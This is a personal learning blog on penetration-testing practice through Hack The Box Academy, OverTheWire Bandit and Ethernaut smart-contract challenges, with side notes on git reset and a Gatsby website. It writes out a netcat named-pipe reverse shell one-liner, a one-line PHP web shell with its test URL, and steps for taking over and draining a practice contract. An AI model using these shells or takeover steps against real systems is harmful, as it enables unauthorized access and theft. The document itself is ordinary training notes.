Tim McHale
Currently learning penetration testing, and going deeper into the how the browser works.
Code should be concise, while changes in state should have simple, clear workflows.
What I'm doing
I disliked some of my notes yesterday regarding reverse shells on a target machine.
I hope these notes are more clear, as getting a shell on an attacking box is a critical skill.
On the target machine we can run a bash command like:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip attacking box} {attacking port} > /tmp/f
And on our host machine we can listen for the pipe, (the ip address and port number will the same)
nc -nv {ip attacking box} {some port}
I was able to finish hackthebox's Academy, which is 28 modules and about 2 months worth of videos, trainings, and questions in real life hacking scenarios.
Some of the commands I found myself using were:
Adding to the hosts file. The /etc/hosts file is used to resolve a hostname into an ip address.
echo "{target_ip} ignition.htb" | sudo tee -a /etc/hosts
Nmap, this command with the flag --min-rate specifies the number of packets that nmap should send per second, the higher the number the faster the scan.
nmap -p- --min-rate=1000 -sV {target_ip}
Nmap with script scanning and version detection, one of the more intrusive nmap scans, with a high probability of being caught. It produces attractive and verbose output. Use as a first scan if unconcerned with detection.
sudo nmap -sC -sV {target_ip}
Gobuster brute-force web-app directory structure
sudo gobuster dir -w /usr/share/wordlists/common.txt -u {target ip}
A wordlist for gobuster brute force attacks:
git clone https://github.com/danielmiessler/SecLists.git
RDP into a windows host:
xfreerdp /v:{target ip} /u:Administrator
List SMB shares
smbclient -L {target ip}
Login to SMB share:
smbclient \\\\{target ip}\\share
PHP, if we can upload the following php file to a web-app
<?php system($_GET["cmd"]); ?>
And if the web-app responds with the output of the OS command id,
http://{ip address or dns name}/shell.php?cmd=id
Then we know we can upload a reverse shell via the web-app.
Today I pushed some notes from my work on https://academy.hackthebox.com/. I've been diving deeper into cybersecurity and found their educational material to be excellent. My goal is to get certified on their CPTS, certified pentesting specialist exam, which I am preparing for now. I'm going to use Hack The Box's educational material to sharpen my skills and take a shot at Offensive Security's OSCP certification, which seems to be the standard in the industry for early professionals in cybersecurity.
A few tools I find myself using:
nmap -sV [ip address]
I use nmap for port sniffing, and reconnaissance to surveil a target. Nmap has a large number of flags and options, but the -sV flag gets the service and version running on open ports.
The metasploit framework offers a command line interface (as well as GUI) that has a library of vulnerabilites to attack a target.
If we get the right information from our recon, and there is a vulnerability on that version of machine or service, we can attack it directly.
Gobuster is a command line tool used for brute forcing directories, subdomains, and vhosts. It uses a wordlist to attempt to find the directory structure of a web app.
Hydra is a command line tool we can use to brute force ssh.
Shook the rust off of Visual Studio Code and was surprised to find a well documented directory w/ Dockerfile and docker-compose file running kali linux with a dozen or so shell scripts for a wargame called Bandit.
The wargame is from a webapp called OverTheWire which offers free wargames to practice pentesting skills, link here -> https://overthewire.org/wargames/bandit/
Each level of the Bandit wargame has you break into a linux virtual machine, the previous level's task guides you to a password, which you need to login to the next level's virtual machine.
This summer I took some classes in Calculus and Physics and this was a good way stretching out my command line and scripting skills for upcoming interviews.
A summary of some of the commands I used:
The code can be found here -> https://github.com/trmchale1/hacking
Today I ran a command I would use rarely, and if it were in a workplace environment, would actually be a pretty big deal.
git reset --hard 6894f6e1...
Like an artist, you have to look at your work and realize that some of it is utter junk and needs to be thrown out. Bad code smells.
It smells like 1000+ lines of code changes, with changes to configs that indicate potential dependency conflicts.
In this case I wanted to integrate RainbowKit to my personal website timmchale.co, the css in this new download clashed with my current css and postprocessing.
I spent several days debugging dependency issues and deleting core functionality of the Gatsby app that I started with.
Now I am realizing I built my web-app with Gatsby, which was fine for a one page app with simple html like functionality, but I need to go with Next.js for improved routing functionality.
Keeping code small, with simple workflows consistently works for me. Any time I put too much functionality together, things tend to break.
I used git reset because I wanted to change where the HEAD was pointing at, this command alters previous history, going back in time, so to speak.
I felt I needed to use reset because the branch I started the dev work in had already been merged with a long history into the main branch. And I wanted that history removed as well.
In most cases when correcting the mistake of just one commit, you want to use the git revert command, github's user interface has a good revert feature in the pull request tab.
This is a link to the first release of timmchale.co
https://github.com/trmchale1/tim-s-gatsby-app/releases/tag/v1.0.0
This is a link to my website
timchale.co
The constructor has incorrect syntax and is misspelled, you can call it as a function and change the ownership of the contract:
contract.Fal1out()
Smart Contract Audit Ethernaut: Fallback
In this game the player must become the owner, then withdraw the full amount from the contract.
The key part is the receive() function, if the contract recieves a value greater than 0 and contributions of the sender are also greater than zero, then the sender becomes the owner.
We send some small sum to the player:
await contract.contribute.sendTransaction({ from: player, value: toWei('0.0009')})
We send a small sum to the contract:
await sendTransaction({from: player, to: contract.address, value: toWei('0.000001')})
Check we own the contract:
await contract.owner()
Then withdraw the loot:
await contract.withdraw()
Loading...